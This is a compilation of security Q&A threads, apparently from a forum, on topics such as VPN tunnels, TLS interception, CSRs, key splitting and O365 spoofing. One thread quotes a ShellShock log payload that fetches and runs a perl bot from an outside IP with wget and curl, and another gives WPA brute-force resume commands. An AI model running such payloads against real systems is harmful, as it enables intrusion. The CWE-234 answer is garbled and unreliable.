But you may want to have a layer 2 tunnel, a bridge, working at ethernet or another physical/liaison protocol. In this case you'll need L2TP and IPsec if you want confidentiality too because L2TP doesn't do encryption as you said.


How to continue your Aircrack-ng Bruteforce where you left off? I am performing a WPA/WPA2-PSK Attack using Aircrack-ng. The Wordlist i am using is 100 GB but i have to Shutdown my PC after a certain time so how am i supposed to continue the Attack where i left off?

Unfortunately, the answer is that currently, aircrack-ng does not support such a feature.

However, you could achieve the same result with john (John  The Ripper) in combination with aircrack.

To start a session foo that you want to pause and resume later, execute:

$ john --session=foo --stdout --wordlist=wordlist.dic | aircrack-ng -w - -b 00:11:22:33:44:55 WPAcrack.cap

To resume this session foo at a later time, run:

$ john --restore=foo | aircrack-ng -w - -b 00:11:22:33:44:55 WPAcrack.cap

This will allow you to bypass the aircrack-ng limitation.

Source


"Your connection is not private" when connected to work's server through VPN (Cisco AnyConnect SMC 3.1) I'm trying to configure mother's personal computers (Win10) for remote work with server in FL.

When I connect from her work laptop - using provided Cisco AnyConnect VPN 2.5 on Win7 - I can still access non-work related secure sites (such as mail.yahoo.com). However I get

  "Your connection is not private"
  Attackers might be trying to steal your info from [site] NET::ERR_CERT_AUTHORITY_INVALID
  Subject: google.com
  Issuer: [Company name] SubCA [name]
  Exprires: [in the future]
  PEM encoded chain: 4 chunks of ---BEGIN/END CERTIFICATE---

when doing the same from her personal computers (tried on Chrome/Edge, Norton/Avast combos).

What is the reason for this difference and how can I fix it?

There is probably SSL interception done by your company, i.e. man in the middle of SSL connections to analyze for malware and data leakage. Please contact the works system administrator for details on how to configure your system to include the necessary certificates. Apart from that make sure that you are even allowed to connect private PCs to the work network.

See also Does a TLS interception proxy present the user's browser with the end server's certificate? and Is it possible for corporation to intercept and decrypt SSL/TLS traffic?


File system history on USB drives I want to find out who deleted a specific file from a USB disk.

The disk is formatted as NTFS.  The file was deleted while the disk was plugged into a Windows 7 system.  However, while I do have possession of the USB disk, I do not have access to that system anymore.

Using forensic techniques, with the presumption that no data was written over the deleted file, is it possible for me to determine who deleted it?  Does this change, if there was newer data written over the file or if the culprit attempted to cover his tracks in any way?

No,  there is no way to know who deleted the file by looking at the USB stick alone.  Even if there was a way it would be very easy to modify the content of the USB stick to mask this behavior.  If you have access to the machine then you can configure windows to log file deletion events.  However, even windows log files can be modified.


Did this ShellShock exploit work? Looking through my web server logs, I noticed two different ShellShock attacks on my server, both of which generated a HTTP 200 OK response code. They look like this (IP address/date and time redacted):

223.252.35.159 - - [************] "GET / HTTP/1.1" 200 2203 "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/  ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \"" "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/  ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \""

My bash version is 4.2.37 and we do regularly update this server through apt-get update && apt-get dist-upgrade along with daily log file analysis. Apache 2.2.22 is being used and only port 80 is open. The file downloaded appears to be a IRC script which I can only imagine is used for flooding purposes in this context.

Trying to run x='() { :;}; echo VULNERABLE' bash -c : (from Is there a short command to test if my server is secure against the shellshock bash bug?) returns nothing but running ps -p $$ from a SSH terminal shows a bash shell currently in use.

The question is that is it likely that the exploit worked given the above?

There's no way to tell from the logfile alone.  The "200 OK" response just means your webserver is running and has an index page at "/" -- something true of almost every webserver in the world.

If x='() { :;}; echo VULNERABLE' bash -c : doesn't print the word VULNERABLE, you almost certainly aren't vulnerable.


Scanning USB stick with multiple Antivirus tools I realise that having multiple AVs is not recommended, but I have a specific question.

My boss supplied me with a laptop which has like 5 different AVs (some of them are more like portable "launch and scan" type AVs where they do not run all the time). The idea is that this laptop will only be used to scan USB sticks - with all of the AVs one at a time.

Now, I tried that - scanned a USB stick with each AV at a time, and I did not see any conflicts between different AVs (no viruses identified either). The laptop had good speed and no issues.

Given this result (no noticable conflict between AVs) - is it OK to be scanning USB like that?

Me personally, I don't understand what this solves - if I think that a USB is infected, I should just format it; but if it's not infected, there is no reason to be even scanning it...

Firstly, many anti-malware tools do conflict with each-other, so there's a reason that's not recommended. Any one modern and up-to-date antimalware software will do just fine.

Secondly, when you say this:

  I don't understand what does this solve - if I think that USB is infected I should just format it, and if it's not infected there is no reason to be even scanning it...

It doesn't matter what you think. The drive is either infected or it isn't. And it's always better to be safe rather than sorry.

Also, if there's a lot of important data on a drive, you can't just reformat it without making a backup of said data. This may take a lot of time depending on how much data you're handling. And in doing so, you will probably also end up making a copy of the malware, which is definitely a Bad Thing.

Scanning USB drives is always a good idea, even when they're coming from someone you trust.


Setting up a wildcard certificate, question about generating CSR? I have registered a new domain for a project.  The hosting is actually done by a vendor.  I have set the nameservers according to the vendors specs.  Now they are requiring the cert in PFX format.  When I go to provision the cert in godaddy (I know) it asks for the CSR.  I'm not familiar with this at all, but after some research my primary question is can I generate the CSR on any machine or does it actually have to be on the server that will host the domain?  Secondary question would be what do I use to generate it?  I looked into CertUtil.exe but most of the documentation is old and I don't see anything related to CSR.  Looks like I can create it with certutil using these instructions.

What you are supposed to generate is the cryptographic key pair. You keep the private part; the certificate request (CSR) contains the public key. The CA (godaddy) wants your public key since that's what they will put in your certificate.

Theoretically, the best place where you can generate the key pair is on the server itself: the value of the private key is that it is private, and the more it travels, the more it risks to be exposed. However, it seems that you want to send the certificate "as a PFX file", which means the certificate and the private key, bundled together as an archive (which is password-protected). Thus, the private key will travel. Under these conditions, you may as well generate the key pair on a machine where it is most comfortable for you.

In the Microsoft/Windows world, the tool to generate certificate requests is certreq.exe. That tool works with a configuration file (that they call an "INF file", though there is no actual need that its name ends with ".inf"). The configuration file sets the fine details of key generation (key type, key length, name in the CSR,...). The CA, or the vendor who ask for a PFX file, should help you with that (I mean, I cannot guarantee that they will help you, but it is their job to do so).


Generate a .p12 certificate which contains only root certificate I know to create a root certificate with openssl, I should first create a root private key:

openssl genrsa -out rootCA.key 2048

Then, self sign the certificate:

openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.p12

I am wondering, how can I generate a root certificate in .p12 format without a private key?

openssl pkcs12 -export -nokeys -in certificate.cer -out pkcs12.pfx


Encryption using two keys The use case is analogous to accessing a safe box in a bank.  There is a per-user key, unique for each user, either generated by the system or hashed from the user's password. And there is a system-wide, master key for all the users.  Both keys are required to be able to decrypt data.  What's the best way to implement it?

Multiple encryption. It seems I can follow the recommendation on the Wiki page and use the method described by Bruce Schneier.
Encrypt the per-user key with the master key. Use the encrypted key to encrypt and decrypt.
Concatenate the per-user key with the master key. User the concatenated key to encrypt and decrypt.

Especially 2 and 3 would be simpler than 1.  But are they free of flaws?  I couldn't find examples of them.

The important point is to work out who should handle the keys. Without multiple encryption, then there must be, upon encryption and decryption, a system that at least transiently learns all the keys. For instance, if the "master key" and "user key" are concatenated (your "method 3"), then both keys are present simultaneously in the RAM of the computer that uses the concatenation to encrypt or decrypt.

If that is not a problem, then the general case is Shamir's Secret Sharing: the secret value (the actual encryption key) is split into n shares, such that any t shares are sufficient to rebuild the secret, but t-1 shares yield no information whatsoever. In your situation, n = t = 2; the sharing algorithm is then mostly a XOR of the two shares (the user key and the master key), which corresponds to what @rossum suggested as a comment.

On the other hand, if you want to avoid having any system learning both keys at any time, then you will need to use multiple encryption. If the data is encrypted by the user first, then by the bank, then decryption will be done in reverse order; the user will not learn the bank key, the bank will not learn the user key, and the bank will not learn the cleartext data either.


CWE-234 - Snprintf Missing Parameter issues We are scanning a third party library using a well know static analysis tool here.

We keep getting:

  "Failure to Handle Missing Parameter CWE ID 234"

I'm not a C developer but I can't see what is different or wrong with the examples that have been highlighted? (lines: 1845,1853,2276,2301)

I understand the underlying threat, I just don't understand why the code is wrong.

Can anyone shed some light on this please as I'm a bit stuck!

Affected lines are:

1845:

snprintf(buff, sizeof(buff), "/BitsPerComponent %d", cid->bps);

1853:

snprintf(buff, sizeof(buff),
                     "/DecodeParms\n"
                     "<<\n"
                     " /Columns %d\n"
                     " /Predictor 14\n"
                     " /Colors %d\n"
                     " /BitsPerComponent %d\n"
                     ">>\n", cid->w, cid->spp, cid->bps);

2276:

snprintf((char *)buf, 32, "%d", objout); 2301:

snprintf((char *)buf, 32, "%d", objout);
************** Failure to handle missing parameter - leptonica/src/colormap.c

2045

snprintf(buf, sizeof(buf), "%02x", data[3 * i + 1]);

**************

Well... As you may know, it can lead to undefined behavior (i.e., either format string, memory leakage, denial of service or even more).

However, I will describe some caution to be taken on snprintf(3) function at following.

Difference between snprintf(3) and sprintf(3)

The goal of both is redirect the output of printf(3) to a buffer. Thus, you can build with a desired content and echoes it using one format string at once. What differs one to another is the at least bound requirement, being explicit in their parameter. It helps out to avoid the lengths of buffer (first parameter) exceed the size that it can deliberately take it. That's why there's the letter 'n' in the suchlike functions (i.e., strncat, strncmp, strncpy, strndup, ...), it indicates the functions that can automatically put a null byte (aka null terminator) at the end of string. So, despite it avoid such errors as stack based buffer overflow1, it can avoid alone against adjacent memory attacks2.

some technical notation about snprintf(3):

One of utmost important information that you should know is "the size of buffer shall always be equals to the size parameter."

In detail:

According to the GNU C Library (glibc) documentation, the snprintf(3) prototype is:

int
snprintf(char * restrict str, size_t size, const char * restrict format,
    ...);

char * restrict str: A restrict char pointer. In C99, the restrict keyword refers to an only pointer that is capable to access the object value that the pointer itself points to. It means that the whose value in a memory allocation is accessed through the only pointer that was declared as restrict. With that in mind, you can note that is made to avoid other declared pointer susceptible access value of the same place of the memory (such thing called "pointer aliasing") –– For more information read the reference 3 (from Wikipedia) and 4 (from StackOverflow, taking as a 2nd example)

size_t size: Denotes the at least (not less than) amount of byte that the buffer (described above) can stores.
Suppose that it buffer holds "s|l|a|y|e|r|\0" values, each byte in its respective substring, ergo the prime obligation is the size of buffer to be equals to 6 –– When I say "size of buffer", I am referring to the buffer itself (1st parameter and not the 2nd parameter, which is a recipe of how much bytes the buffer can take it). Therefore, whether the size of buffer is less than 6, you are prone to dealing with undefined behavior such thing that I aforementioned at the beginning of this answer. However, you can have a truncated buffer's string contrariwise (when size of buffer is greater than 6).

const char * restrict format: A constant char restrict pointer that handles values corresponding to the type of format string5.

...: It is the optional numbers of arguments, functions that contains this parameter are called variadic function6 and can handle it using symbols existing in stdargs.h header7.

Analyzing a part of pdfio2.c source code

The char keyword is equivalent to from  to  (8 bits) in decimal and it can also reaches from  to  (still using 8 bits) when you use unsigned right before him (127 + 128 = 255). So, given the complete code that you left in reference, at line 2276:

snprintf((char *)buf, 32, "%d", objout);

If you analyze some lines before it, at lines 2262, 2263 and 2264 you can see the declaration of some variables including buf, objout and objin:

2262: l_uint8   buf[32];  /* only needs to hold one integer in ascii format */
2263: l_int32 start, nrepl, i, j, objin, objout, found;
2264: l_int32 *objs, *matches;

l_uint88: It stands for "leptonica_unsigned_int8", when the l_int8 is equivalent to char keyword because the range of bits it from  to , namely, a signed 1 byte integer (or 8 bits integer). It is a smallest bits of a object that is not recognized as a bit-field.

l_int329: The logical is the same as right above. But now, it is equivalent to 4 bytes, in other words, it ranges from  to .

Nevertheless, the buffer named as buf is declared as l_uint8 that can holds up 8 bits long being from 0 to 255 in decimal (unsigned char), but when receives such data, it casting to char, it is necessary to prepare the buffer to be compatible with the data that will be received from 3rd and 4th arguments – otherwise you'll gotta a compilation error because you are storing the expected char data in l_uint8 typedef variable without casting to.

Continuing to looking at substituteObjectNumbers() function:

At line 2241 until 2255 you'll see a brief commentary about what the function is suppose to do:

/*!
 * \brief   substituteObjectNumbers()
 *
 *  Input:  bas (lba of a pdf object)
 *          na_objs (object number mapping array)
 *  Return: bad (lba of rewritten pdf for the object)
 *
 *  Notes:
 *      (1) Interpret the first set of bytes as the object number,
 *          map to the new number, and write it out.
 *      (2) Find all occurrences of this 4-byte sequence: " 0 R"
 *      (3) Find the location and value of the integer preceding this,
 *          and map it to the new value.
 *      (4) Rewrite the object with new object numbers.
 */

A little bit of PDF syntax:

Note: this section is a brief of the book Developing with PDF10.

In light of this, the first "Note" in the commented code above you must noticed that he's talking about the PDF format file. In a PDF file format are 9 types of Objects (also referred as COS Objects – COS stands for Carousel Object System) and they
can be represented as Indirect Objects or Direct Objects and can still referenced to each other.

Type of Objects: A PDF file format supports:

1. null;
2. boolean;
3. integer;
4. real;
5. name;
6. string;
7. array;
8. dictionary;
9. and, stream.

Direct object: Appears inline and are usually found as the value of a dictionary key––being an entry in an array and by the Object type.

Example 1 – Indirect objects made entirely from direct objects

3 0 obj        % object ID 3, generation 0
<<
 /ProcSet [ /PDF /Text /ImageC /ImageI ]
 /Font <<
     /F1 <<
        /Type /Font
        /Subtype /Type1
        /Name /F1
        /BaseFont/Helvetica
        >>
>> >>
endobj
5 0 obj
(an indirect string)
endobj
% an indirect number
4 0 obj
1234567890
endobj

Indirect object: Those are referred to by the reference. In order to figure out which object is being referred to, every indirect object has unique ID (per-PDF), expressed as a positive number and a generation number that's a positive number too, and usually is represented by zero (0)––either are used to identify the object and to reference the object.

Example 2 – An indirect object that references other indirect objects

3 0 obj                           % object ID 3, generation 0
<<
 /ProcSet 5 0 R                   % reference the indirect object with ID 5, generation 0
 /Font <</F1 4 0 R >>             % reference the indirect object with ID 4, generation 0
>>
endobj
4 0 obj                           % object ID 4, generation 0
<<
 /Type /Font
 /Subtype /Type1
 /Name /F1
 /BaseFont/Helvetica
>>
endobj
5 0 obj                           % object ID 5, generation 0
[ /PDF /Text /ImageC /ImageI ]
endobj

If you would like more examples, take a look at Minimal PDF as well11.

Back to the function code:

The objout variable given from snprintf() at line 2276 holds value of the buffer objs[objin]. This buffer receives the data from the 3rd parameter of sscanf() at line 2274 and that data comes from the 1st parameter named as datas, which is a pointer that serves as storage for the returned data from the l_byteaGetData(bas, &size) function, at line 2269. The function l_byteaGetData() returns the array of data from a given file.

To conclude...

So, it requires an argument to execute and hand on. And I am stuck on a curiosity of how do you execute the static analyze upon this code? A PDF file format is required to sanitize data until pass to the substituteObjectNumbers() and it’ll find out every “ 0 R”, meaning references to any Object type and performs your 3rd and––the final––the 4th act which is described in the commentary at line 2252. Remapping object through its found number.

Now, I have no clue what exactly static analyze tool you'are using to do so, and the measures taken by the tool to acknowledge the presence of this type of weakness in the code. I cannot speculate whether it is either false positive or not, though.


Is a redirect showing the password in plain text a security vulnerability? A couple of days ago, I attempted to log into the website of a well-known SaaS provider. I used a password manager on my browser (so user/pass were correct) and the NoScript plugin which had limited permissions granted to the site so some JS was blocked. The whole exchange was over HTTPS.

The response was a redirect back to the login site with a URL as below, and the login_password data had also been populated to the value of the password input.

.../login?login_email=user@example.com&login_password=REDACTED&remember_me=on

Would this be classed as just a weak approach and a bad practice to be raised with customer support, or should this be reported as a security vulnerability?

Update

The company has responded with a stop-gap fix that prevents the original issue from being reproduced.

Definitely problematic - and worth reporting.

If the HTTPS is properly protected with HSTS and preloading, then threat actors observing the traffic wouldn't be able to see the GET contents. But since HSTS is still somewhat rare (and if they're putting plaintext passwords in a GET, they're probably not aware of other best practices like HSTS), the interception/downgrade risk is probably somewhat high.

Separate from that, regardless of the health of the HTTPS setup, remote HTTP servers almost always log full GET contents in the server's logs - so those plaintext passwords are probably being recorded on the server as well.

[Edit: and vakus' answer covers the rest of the attack vectors much more thoroughly!]


According to the risk assessment theory, is this expenditure appropriate? Consider the following scenario: A company has a database server whose value, information and equipment, is approximately $200 000. When the manager has checked up the literature regarding this type of server he found that there is the probability of a general failure every 10 years. This failure could lead to the complete deletion of the information that this system stores. Because of that information, the security manager has decided to establish an information backup plan that will cost USD 10 000 per year.

According to that information, I have made the following calculations:

ALE=200 000*(1/10)=20 000

The question that I have is that if the cost of applying the backup procedure would be better than no applying it. I consider that the total cost that I would spend in the ten years, period of time in which it could pass the incident mentioned above, would be:

10 000*10=$100 000

According to this logic, could I establish that it is better not to make the expenditure for the backup of the information? Any comments?

Thanks

If "probability of a general failure" means that, on average, this server type fails every 10 years, then the expected cost of loss to the company is $200,000/10, or $20,000 per year.  Since the cost of the backup plan is $10,000 per year, then it seems to better than the expected cost of a loss.  Obviously, this is quite simplified and reality is far more complex.


Is the Google address being spoofed on my computer? I might use some inappropriate terminology because I am no expert, but please feel free to correct me where it is needed.

I believe that a process has modified some network file on my computer, like the hosts file, in order to reroute my Google searches. The reason I say this is because I have a very fast internet connection and every website loads up very quickly, except for Google. The other possibility I can think of is that Google's server is operating slowly, but it seems to be fine when I do searches on my phone.

Now, I don't mean just a little bit slower, but in the range of taking up to a minute to load; this is seems to me to be very odd behavior. I have also checked my host file at "C:/Windows/System32/Drivers/Etc/hosts" and it seems to be fine.

I would like to know the opinion of someone else.

Behavior Information

When trying to load www.google.com the page takes longer than 1 minute to load
www.Google.ca loads perfectly normal and quite fast.
other webpages load at a normal speed (less than 5 seconds).
When pinging "www.google.com" the packets time out
When pinging "maps.google.ca" the packets return promptly
When pinging "www.google.com" the address that is pinged is "[2607:f8b0:4009:801::1011]"

Update

If I add the line "74.125.227.144 www.google.com" into the hosts file, then Google loads fine; mind you, this is not a fix--I still would like to know what's going on and fix the problem.

Most likely not. IPv6 support is still quite patchy in many parts of the world. The delay is most likely caused by bad routing or network packets having to go through too many hops. You can test out your IPv6 connection here.

The hosts file is used to bypass DNS and make your access to websites matching domains listed slightly faster, not slower.

A whois lookup on 2607:f8b0:4009:801::1011 shows that the address belongs to Google Inc. Hackers would most likely direct you to a site they own or control, in which case, it wouldn't be Google.

To avoid the situation of websites taking longer time to load, you can turn off IPv6 on your network configuration setting to prevent DNS from resolving to an IPv6 address. Further, if you are using DNS servers from your ISP, you can try change them to Google's DNS servers on 8.8.4.4 or 8.8.8.8 as they seem to be more reliable.

For verification of the Google website, access using HTTPS and follow the detailed instructions given in thexacre's answer above.


What access does my company have to my corporate gmail account? Situation
I currently have a corporate address, which is facilitated by Google. My email address does not contain Gmail or google, but when I log in it shows a Google look and feel with minimal alterations (I can also go to drive for instance).
Consideration
I am now wondering what kind of access the company has to my account. I came up with these ideas based on my image of what the world should look like:
1. Things they cannot do

Recover my password

2. Things they can do, with me noticing

Close my account
Reset my password

3. Things they can do, without me noticing

Change rights to drive folders (to which I am currently the only one with access) in the shared drive
Reopen the account and access everything after the account was closed due to me no longer needing it

In addition to this there are some things I don't know where to place:

Access my drive content without me knowing
Search my email
Look at my history (search, phone location)  without changing my password
Send emails from my account without changing my password
Recover deleted mails/documents from beyond the point where I could have recovered them myself in a corporate or private account

Question
Above I have indicated the most relevant points when it comes to Google corporate account access. Are my preconceptions correct and how do the unknowns fit in?
BONUS: Based on the above considerations, what is a shocking example of access types that corporates do/do not have?

Note that I am only interested in 'normal' access to my account, I am specifically not looking for anything that requires dodgy actions like abusing power over wifi/device.
Also, for those who wonder: I am not in trouble, just curious!

This is the business version of gmail.

As mentioned in this question, there's no direct way for a GSuite admin to log in to one of their users' accounts, but they can make use of the auditing API to download emails.

The easiest way to know if your IT admins can do something is to ask them. And you should generally assume that they have full access to anything you do on work accounts, on work computers, and on work networks - so don't do anything there that you wouldn't want them to potentially know.


Why Adobe is recommending McAfee security scan during flash player installation? Why is Adobe recommending a McAfee security scan during the installation of flash player?

It's an affiliate thing. Adobe get paid to promote McAfee's anti-malware software. You have nothing to worry about in terms of security, it's just a marketing trick to get you to buy an AV.


TLS domain name mismatch Suppose I want to talk to example.com over TLS the and server I am redirected to is foo.com. But during the handshake it can prove it holds the private key that matches example.com certificate.

Why does that trigger a warning in the browser?

Actually, the answer is within your question:

  But during the handshake it can prove it holds the private key that
  matches example.com certificate

This outlines that  that the common name  in the SSL certificate doesn't match the address that is in the address bar of the browser (foo.com). I mean the warning claims that the certificate that has been picked up by request is issued for example.com, not for foo.com .

It is like foo.com is trying to intercept the communication between you and example.com, and that is the reason of the legitimate security warning you got.


Will uploading a picture from my computer to a site let that site locate my computer or compromise my security? I have a PC using Windows 7 that I realize should be upgraded. I'm using the Windows Defender antivirus that came with the computer.
I recently joined a discussion forum. Member profiles there allow for a personal photo to be uploaded through the site. "Upload" button on profile, which when clicked opens the C drive on my computer so that I may select an image from pictures file or downloads.
If I upload a picture from my pictures file will the site be able to "find" my computer or link back to my machine in any way?

Yes an No.
In order to upload an image, or just browse the site in general, you need to connect to the server. That means you send some data there, and they send you a response. In order to be able to send you a response, they need to know your IP address. This isn't a security flaw, this is just how the internet works.
However, most servers don't interact with you any more than answering your requests. Your IP will probably be logged somewhere on tge server, compressed and stored on some archive server, never to be looked at again.
What about file uploads?
Generally, uploading files to a server is way more dangerous to the server than it is to you. In fact, I can't think of a single way to compromise a host by allowing them to upload a file to a server. Of course, that doesn't mean there are no ways, it just means that it isn't a common thing.
So, what now?
Running on Windows 7 is risky, and it gets riskier every day. Microsoft will no longer patch any vulnerabilities, so any possible way to hack your computer that is found tomorrow (or has already been found) will be exploitable forever.
In other words, move to an OS that actively receives security patches. Now!


How to validate the confirmation link received when publishing a new PGP key? I find PGP to be quite a complex subject. I have gotten to a point where I need to give a client a public key for encryption. I have successfully done my homework, generating a public key from my Ubuntu desktop pushed it to keyserver.ubuntu.com, gotten a validation link, hustled to get Thunderbird open,  read it, and validated it.

Now I need to send a public key of an ubuntu 10.04 to a partner to encrypt stuff for me. I opted for using a keyserver as opposed to outputting the public key to a file. If I publish the key like explained before I will have use an email, and  an encrypted validation mail(sent by launchpad it seems) will be sent to my inbox with a link to confirm the publication. My question is this: The private key is in the ubuntu server How do I decrypt that validation email in order to complete the publication process? We use google apps so I will probably access the encrypted email from my work machine which doesn't have the private key generated on the ubuntu server.

I think the key misunderstanding you have is that you think public-private key pairs are somehow tied to a machine. They are not. You can generate a key pair on any machine and export/import it to any other.

The only critical component of PGP you need to worry about is keeping the private key private.

You have two options:

Generate a key-pair on your local machine and export/import the private key for all machines you want to perform decrypt/signing operations on
Generate different key-pairs for every machine and access them remotely to perform your decrypt/signing operations - this option means the private keys don't need to move around, so it's less prone to mistakes that could expose your private key (very bad).

So If you don't want to manage receiving e-mails on the Ubuntu machine itself (for example by remotely controlling it with X over SSH or VNC), you need to export the private key from the Ubuntu server so you can import it to your local keychain. That's done as follows:

gpg --export-secret-key -a "User Name" > private.key

This key is unprotected so you must be careful about how you move it (use something secure like scp).

Or, do what you already know how to do and generate the key-pair on the machines themselves. If you don't have an e-mail address for every machine, just upload it to a key server that doesn't require e-mail verification, such as http://pgp.mit.edu.

E-mail verification isn't necessary, using a key server at all is unnecessary - you only need to share the public key with those who are sending you encrypted data.


How proxy server remember the IP addresses of client to send the response packets back? As I know that NAT tracks the Source IP & port number of the packet before change the IP header to external IP and send to the internet. When receive the response packet, NAT change the packet's header from external IP to private IP by using the value that tracked before.

For proxy server, in 1 second, proxy server retrieves a lot of packets from the clients, proxy server changes the IP header of packet from client's IP to proxy server's IP and send to the internet. When receive response packets, proxy server change IP header from proxy server's IP to client's IP and send back the client.

So, my question is the detail of process how proxy server work? And with the limit of ports(65535), how many connections between proxy server and proxy clients can be established at the same time?

Thanks you very much.

A HTTP proxy or SOCKS proxy simply accepts a TCP connection from the client and maybe after some initial handshake with the client creates a TCP connection to the server. From then on it forwards data (not packets - this is application level!) received on one TCP connection via the other TCP connection as long as both TCP connections are open. There is nothing special about it - it just needs to associate one TCP connection with the other which a simple programming task.

  how many connections between proxy server and proxy clients can be established at the same time?

This is not a security question, but: if the IP address of proxy and client are constant and the proxy is only listening on a single port then of the 4 parts of the connection tuple only the source port on the client can vary. Thus there are in theory at most 65535 connections between client and proxy and in practice even less since the client will not use all ports for connections to the proxy.


Is Stonesoft's "advanced evasion technique" a major problem? A month ago, Stonesoft (an IDS constructor from Finland) has launched an alert about Advanced Evasion Techniques.

With these techniques, they claim to be capable of launching attacks on a network without being detected and blocked by the IDS.

Is this thread real, or it is only an ad campaign ?

All the details can be found in the website developed by StoneSoft (http://www.antievasion.com/)

I don't know specifically about Stonesoft, but not only is IDS evasion real, it's also nothing new.
There have been any number of techniques, vectors, and attacks to evade IDS - and really any network filtering mechanism - dating at least back a dozen years or so to RainForestPuppy's classic work on evasion mechanisms. New techniques come out all the time.


How to recover securely deleted data Since we all know files are recoverable with programs after being deleted from the recycling bin, everyone is told to do secure wipes by putting random data over the files you're deleting on the disk itself. From what I understand with Hard Drives (and CDs, and Floppies, etc), the data is written to either be reflective/raised up (1) or non-reflective/sunken (0). My question is then how can a bad guy recover data that's been overwritten just once, since it would change the reflective or height of the gap?

See SSD (Flash Memory) security when data is encrypted in place and watch the discussion links on hard drives.
On older drives, it was likely possible to recover overwritten data. The density of modern drives for the past 5+ (and the plus may be 10, 15, or more) years has been so high that a single pass of random data means whatever was there before is just not going to come back unless the NSA knows something about this that the rest of the general public doesn't.
Modern file systems are such that the data may have been cached in several places, so unless the entire disk was wiped, the answer is to look for cached, duplicated, versioned, etc. copies of the file that were overlooked during the erasure process.


SPF and Office 365 email accounts spoofing other Office 365 email accounts After an incident, I have a question which answer's I cannot find.
I cannot provide the real headers as they come from a client.

Let’s consider a company which uses an Office365 tenant as mail server. Its domain is example.com, and mail addresses are name@example.com. Employees thus all have a name@example.com account.

The company has published the default Office365 SPF: v=spf1 include:spf.protection.outlook.com -all

The company does not have either a DKIM published nor a DMARC policy.

Would it be possible to connect with a random Outlook account (attacker@outlook.com) to smtp-mail.outlook.com or Outlook.office365.com with protocol SMTP, and then craft an email using name@example.com?

The SPF would pass as the mail is sent from the right servers. The question is more about Microsoft performing access control on emails sent through their SMTP servers.

This question would probably exist for other companies managing mails for you that also host public-accessible emails.

Would it be possible to connect with a random Outlook account (attacker@outlook.com) to smtp-mail.outlook.com or Outlook.office365.com with protocol SMTP, and then craft an email using name@example.com?

Generally not. By default, all SMTP connections to O365 must be authenticated first.

In the case of a domain having a non-authenticated SMTP connector set up, it would typically be restricted to accept mail from specific IP addresses only, i.e. ones that you trust to send email for your domain.

Third party email providers may handle authentication differently, and may in fact be susceptible to this type of spoofing.


Suggestions to avoid cookie-hijacking in a web application I've been developing web-apps for quite some time now. While making websites, the "remember me" feature is one of the most trivial(read as must-have-for-clients) feature to be implemented. Until today, I was just using the default implementations provided by the ASP.NET authentication system - which I must say, is pretty secure (as long as one does not fiddle with the provided default implementation). But today, I just got curious about the implementation details of this feature. I did some research, and went through a few related articles:

Troy Hunt- How and how not to build

Improved Persisted Login Cookie Best Practice

Troy's article basically comes down to the conclusion that, if possible you're better off not implementing this feature at all, as no matter what, despite your best of efforts, you're always going to have to come down to a security related compromise. Similarly, Barry's article, based on Miller, Charles design, he has some very nice strategic steps to minimize the attack surface and complicating the attack vector.

So, coming down to the main point, after going though these articles, one thing that sprung in my mind was, why are the cookies not signed by the browsers ? Wouldn't it be best if each browser-client (mobile/desktop/whatever), had their own unique GUID kind of thing, which was not to be modified(under any circumstances), and then they can send their GUID to the servers, and the server could then use as the key-value to decrypt/verify any client-side information(cookies/querystrings) ?
Wouldn't this solve the issue of session-hijacking/cookie-hijacking completely, as a cookie from one browser would then be totally useless for another browser ?

Sorry if this sounds naive, but I would really appreciate suggestions and feedbacks on this. Thanks.

You'd need to secure the GUID transmission (consider the possibility of a server posing as another server, or man-in-the-middle); I strongly suspect that this would rapidly evolve to something needing asymmetric encryption and, finally, a pared-down version of HTTPS. Since full HTTPS is already available, it seems a duplication of effort.

On the other hand, using a GUID (which acts, when all is said and done, as a [temporary] shared key) will not defend against the client being compromised (malware, 'black' forensics, possibly even social engineering depending on how the interface is designed). For this, you would need a local trusted escrow system - a sort of secure smart card, so that you cannot read and duplicate what's actually inside, while being able to prove to a third party (the server) that the data is there.

But at that point, would we really need cookies? We'd have a smart card with our user login data held securely; it would then be far simpler to link the session not to the browser, but to the username. The "remember me" function would be undertaken by you plugging in the smart card.

Another and easier possibility would be, as user lesto suggests, to store the privately agreed secret in a password-protected area - a "keyring", "portfolio" or "wallet" - just like form passwords. The user unlocks the keyring with a master password, then the browser can authenticate.

But the whole scheme can be implemented in a more direct way by forcing secure cookies to be stored in the secure area together with cached passwords. On receiving a cookie through a secure connection, the browser would request the user to unlock the secure area, find a cookie with the same name for the same domain already existing, and would then repeat the request, this time sending the expected cookie. From the user's point of view, he goes on a secure site with the "Remember me" option enabled, a browser popup appears requesting the master password, and next thing he knows he's logged in.

An attacker would have no way (weeeellll...) of accessing the HTTPS exchange, and if he were to seize the computer, he would find cookies and passwords in a AES-256 encrypted block for which he lacks the master access key.


How do server know the CSR sender is approved client? Suppose I have a server provide a POST URL to send CSR. The response certificate then will be used for later SSL client-cert auth connection.

The problem is anyone can POST a CSR to the server and then the server just sign it. Isn't this procedure meaningless?

My colleague suggest the sending CSR itself should also be SSL client-cert auth connection. He will generate a one-time certificate for client to pre-install and use it to do send CSR. Is it a good approach?

I guess you want to enroll users by POSTing CSRs. There is already enrollment schemes builtin browsers so you dont have to POST CSR's. Those enrollment schemes will also automatically install the client certificate in the browser store, so Everything is done in one shot.

Here you have Everything to get started:
https://stackoverflow.com/questions/9197484/generating-client-side-certificates-in-browser-and-signing-on-server/9198400

This should take care of Everything. Now, your only problem is authenticating users as users Before enrolling them.

I guess this is the problem you want to solve, in other Words, authenticating users so not anyone can enroll themselves, eg only specific invited indivuals should get a account.

If you can provision software to the client computers via some administration suite, you could provision a "RunOnce" that contains a url like http://www.example.com/CSREnroll.cgi?key=sgdghdghdkgkdsgfketgebgkebekgbksdhfbkgbavbkajvbebkjgbtkekagb where key= is a securely generated, random one-time key, that allows enrollment of one certificate. Since your provision software will propably be able to know the client's IP, you could also lock the key= to only be valid to the IP in question, thus gaining extra security so if this one-time key would leak out prior to its usage, it would be impossible to use it.

